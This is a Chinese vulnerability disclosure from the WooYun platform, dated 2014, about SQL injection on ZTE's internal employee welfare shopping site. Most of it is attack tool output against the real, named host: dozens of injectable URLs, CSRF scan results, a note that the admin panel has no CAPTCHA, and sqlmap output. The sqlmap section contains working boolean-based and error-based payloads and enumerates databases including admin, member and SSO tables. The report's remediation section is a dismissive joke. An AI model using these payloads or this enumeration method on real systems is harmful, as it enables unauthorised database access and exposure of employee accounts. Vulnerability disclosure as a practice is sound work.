漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-065282
漏洞标题：中兴e家一处sql注入
相关厂商：中兴通讯股份有限公司
漏洞作者： tony_蒋
提交时间：2014-06-17 17:34
修复时间：2014-06-22 17:35
公开时间：2014-06-22 17:35
漏洞类型：SQL注射漏洞
危害等级：低
自评Rank：1
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-06-17： 细节已通知厂商并且等待厂商处理中
2014-06-22： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
中兴工会搞得内部福利网站，太不小心了
到处是洞，后台管理界面也能枚举
里面的accout都是中兴内部员工的，拿来社工更可怕
详细说明：
注入点太多：
|_http-frontpage-login: false
| http-sql-injection:
| Possible sqli for queries:
| http://ehome.zte.com.cn/index.php?id=569'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=225'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=985'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1368'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=266'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1437'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1414'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1292'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1062'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1319'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=299'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1432'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=445'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1299'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=608'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1504'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=301'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=221'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1376'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=734'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1026'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=steppage_1353895347'%20OR%20sqlspider
&app=steppage
| http://ehome.zte.com.cn/index.php?id=1413'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=615'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=306'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1425'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1372'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1431'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1505'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1377'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1370'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=steppage_1361857688'%20OR%20sqlspider
&app=steppage
| http://ehome.zte.com.cn/index.php?id=1386'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1506'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1498'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1478'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1477'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1385'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=945'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1369'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1315'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1309'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1027'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1421'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1417'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1415'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1412'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1411'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1410'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1401'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1400'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1399'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=276'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=275'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=271'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=270'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=911'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=268'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=steppage_1352873054'%20OR%20sqlspider
&app=steppage
| http://ehome.zte.com.cn/index.php?id=1406'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=steppage_1361512328'%20OR%20sqlspider
&app=steppage
| http://ehome.zte.com.cn/index.php?id=755'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1297'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=209'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1307'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1184'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=steppage_1361857688'%20OR%20sqlspider
&app=steppage
| http://ehome.zte.com.cn/index.php?id=1499'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1422'%20OR%20sqlspider&app=goods
| http://ehome.zte.com.cn/index.php?id=1327'%20OR%20sqlspider&app=goods
|_ http://ehome.zte.com.cn/index.php?id=1057'%20OR%20sqlspider&app=goods
后台管理界面没有验证码，也没有IP限制
http://ehome.zte.com.cn/admin/
还有好几个CSRF洞
| Found the following possible CSRF vulnerabilities:
|
| Path: http://ehome.zte.com.cn/index.php?app=goods&id=569
| Form id:
| Form action: index.php
|
| Path: http://ehome.zte.com.cn/index.php?app=goods&id=569
| Form id: message
| Form action: index.php?app=goods&id=569
|
| Path: http://ehome.zte.com.cn/index.php?app=store&id=6
| Form id:
| Form action: index.php
|
| Path: http://ehome.zte.com.cn/index.php?app=goods&id=225
| Form id:
| Form action: index.php
|
| Path: http://ehome.zte.com.cn/index.php?app=goods&id=225
| Form id: message
| Form action: index.php?app=goods&id=225
|
| Path: http://ehome.zte.com.cn/index.php?app=goods&id=1368
| Form id:
| Form action: index.php
|
| Path: http://ehome.zte.com.cn/index.php?app=goods&id=1368
| Form id: message
| Form action: index.php?app=goods&id=1368
|
| Path: http://ehome.zte.com.cn/index.php?app=store&id=8
| Form id:
|_ Form action: index.php
漏洞证明：
随便给个注入点
[*] starting at 17:28:51
[17:28:51] [INFO] resuming back-end DBMS 'mysql'
[17:28:51] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: app=goods&id=1341 AND 2896=2896
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: app=goods&id=1341 AND (SELECT 6889 FROM(SELECT COUNT(*),CONCAT(0x3a
656f6e3a,(SELECT (CASE WHEN (6889=6889) THEN 1 ELSE 0 END)),0x3a7163643a,FLOOR(R
AND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[17:28:53] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.27
back-end DBMS: MySQL 5.0
一堆堆的表结构
[102 tables]
+----------------------------------------------+
| v9_admin |
| v9_admin_panel |
| v9_admin_role |
| v9_admin_role_priv |
| v9_announce |
| v9_attachment |
| v9_attachment_index |
| v9_badword |
| v9_block |
| v9_block_history |
| v9_block_priv |
| v9_cache |
| v9_category |
| v9_category_priv |
| v9_collection_content |
| v9_collection_history |
| v9_collection_node |
| v9_collection_program |
| v9_comment |
| v9_comment_check |
| v9_comment_data_1 |
| v9_comment_setting |
| v9_comment_table |
| v9_content_check |
| v9_copyfrom |
| v9_datacall |
| v9_dbsource |
| v9_download |
| v9_download_data |
| v9_downservers |
| v9_extend_setting |
| v9_favorite |
| v9_hits |
| v9_ipbanned |
| v9_keylink |
| v9_keyword |
| v9_keyword_data |
| v9_link |
| v9_linkage |
| v9_log |
| v9_member |
| v9_member_detail |
| v9_member_group |
| v9_member_menu |
| v9_member_verify |
| v9_member_vip |
| v9_menu |
| v9_message |
| v9_message_data |
| v9_message_group |
| v9_model |
| v9_model_field |
| v9_module |
| v9_mood |
| v9_news |
| v9_news_data |
| v9_page |
| v9_pay_account |
| v9_pay_payment |
| v9_pay_spend |
| v9_picture |
| v9_picture_data |
| v9_position |
| v9_position_data |
| v9_poster |
| v9_poster_201309 |
| v9_poster_201402 |
| v9_poster_201403 |
| v9_poster_201404 |
| v9_poster_space |
| v9_queue |
| v9_release_point |
| v9_search |
| v9_search_keyword |
| v9_session |
| v9_site |
| v9_sms_report |
| v9_special |
| v9_special_c_data |
| v9_special_content |
| v9_sphinx_counter |
| v9_sso_admin |
| v9_sso_applications |
| v9_sso_members |
| v9_sso_messagequeue |
| v9_sso_session |
| v9_sso_settings |
| v9_tag |
| v9_template_bak |
| v9_times |
| v9_type |
| v9_urlrule |
| v9_video |
| v9_video_content |
| v9_video_data |
| v9_video_store |
| v9_vote_data |
| v9_vote_option |
| v9_vote_subject |
| v9_wap |
| v9_wap_type |
| v9_workflow |
+----------------------------------------------+
Database: ztemall
[31 tables]
+----------------------------------------------+
| tcz_acategory |
| tcz_address |
| tcz_article |
| tcz_attribute |
| tcz_banche |
| tcz_brand |
| tcz_bus |
| tcz_bus_user |
| tcz_cart |
| tcz_category_goods |
| tcz_category_store |
| tcz_collect |
| tcz_coupon |
| tcz_coupon_sn |
| tcz_friend |
| tcz_function |
| tcz_gcategory |
| tcz_goods |
| tcz_goods_attr |
| tcz_goods_image |
| tcz_goods_qa |
| tcz_goods_spec |
| tcz_goods_statistics |
| tcz_groupbuy |
| tcz_groupbuy_log |
| tcz_info |
| tcz_line |
| tcz_line_region |
| tcz_lipin |
| tcz_mail_queue |
| tcz_member |
+----------------------------------------------+
Database: performance_schema
[17 tables]
+----------------------------------------------+
| cond_instances |
| events_waits_current |
| events_waits_history |
| events_waits_history_long |
| events_waits_summary_by_instance |
| events_waits_summary_by_thread_by_event_name |
| events_waits_summary_global_by_event_name |
| file_instances |
| file_summary_by_event_name |
| file_summary_by_instance |
| mutex_instances |
| performance_timers |
| rwlock_instances |
| setup_consumers |
| setup_instruments |
| setup_timers |
| threads |
+----------------------------------------------+
Database: information_schema
[57 tables]
+----------------------------------------------+
| CHARACTER_SETS |
| CLIENT_STATISTICS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INDEX_STATISTICS |
| INNODB_BUFFER_POOL_PAGES |
| INNODB_BUFFER_POOL_PAGES_BLOB |
| INNODB_BUFFER_POOL_PAGES_INDEX |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_RESET |
| INNODB_INDEX_STATS |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_RSEG |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_FIELDS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_SYS_INDEXES |
| INNODB_SYS_STATS |
| INNODB_SYS_TABLES |
| INNODB_SYS_TABLESTATS |
| INNODB_TABLE_STATS |
| INNODB_TRX |
| KEY_CACHES |
| KEY_COLUMN_USAGE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TABLE_STATISTICS |
| TRIGGERS |
| USER_PRIVILEGES |
| USER_STATISTICS |
| VIEWS |
| XTRADB_ADMIN_COMMAND |
+----------------------------------------------+
Database: mysql
[24 tables]
+----------------------------------------------+
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+----------------------------------------------+
修复方案：
你懂得，亲
版权声明：转载请注明来源 tony_蒋@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-06-22 17:35
厂商回复：
最新状态：
暂无